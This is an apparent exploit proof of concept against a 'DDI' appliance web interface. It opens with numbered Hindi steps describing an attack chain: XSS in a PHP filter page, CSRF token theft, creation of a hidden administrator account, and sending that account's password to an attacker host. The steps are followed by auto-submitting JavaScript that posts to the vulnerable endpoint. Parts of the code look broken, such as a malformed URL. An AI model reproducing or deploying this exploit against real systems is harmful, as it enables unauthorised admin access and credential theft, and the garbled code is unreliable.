1. DDI वेब इंटरफेस में लॉग इन उपयोगकर्ता को एक दुर्भावनापूर्ण वेब पेज पर जाने के लिए प्रेरित किया जाता है। 
2. इस पेज पर दुर्भावनापूर्ण स्क्रिप्ट /php/detection_detail_filter.php में XSS भेद्यता का उपयोग करके लॉन्च की जाती है।
3. स्क्रिप्ट /wsgi/csrf/get_token/ पर PUT अनुरोध के माध्यम से CSRF टोकन प्राप्त कर रही है।
4. और फिर यह पिछले अनुरोध के प्रतिक्रिया से प्राप्त टोकन का उपयोग करके व्यवस्थापक विशेषाधिकारों वाला एक खाता जोड़ता है।
5. जोड़े गए खाते का पासवर्ड पिछले अनुरोध की प्रतिक्रिया से प्राप्त होता है।
6. पासवर्ड HTTP अनुरोध के माध्यम से हमलावर के होस्ट पर स्थानांतरित किया जा सकता है।

<b>DDI PoC</b>
<script type="text/javascript">

function post(path, params, method) {
    method = method || "post"; // Set method to post by default if not specified.

    // The rest of this code assumes you are not using a library.
    // It can be made less wordy if you use one.
    var form = document.createElement("form");
    form.setAttribute("method", 'POST');
    form.setAttribute("action", path);

    for(var key in params) {
        if(params.hasOwnProperty(key)) {
            var hiddenField = document.createElement("input");
            hiddenField.setAttribute("type", "hidden");
            hiddenField.setAttribute("name", key);
            hiddenField.setAttribute("value", params[key]);

            form.appendChild(hiddenField);
         }
    }

    document.body.appendChild(form);
    form.submit();
}

var ddi_ip = '192.168.91.66';

post('https:///'+ddi_ip+'/php/detection_detail_filter.php', {'ips[]':'217.69.139.245:8'});

</script>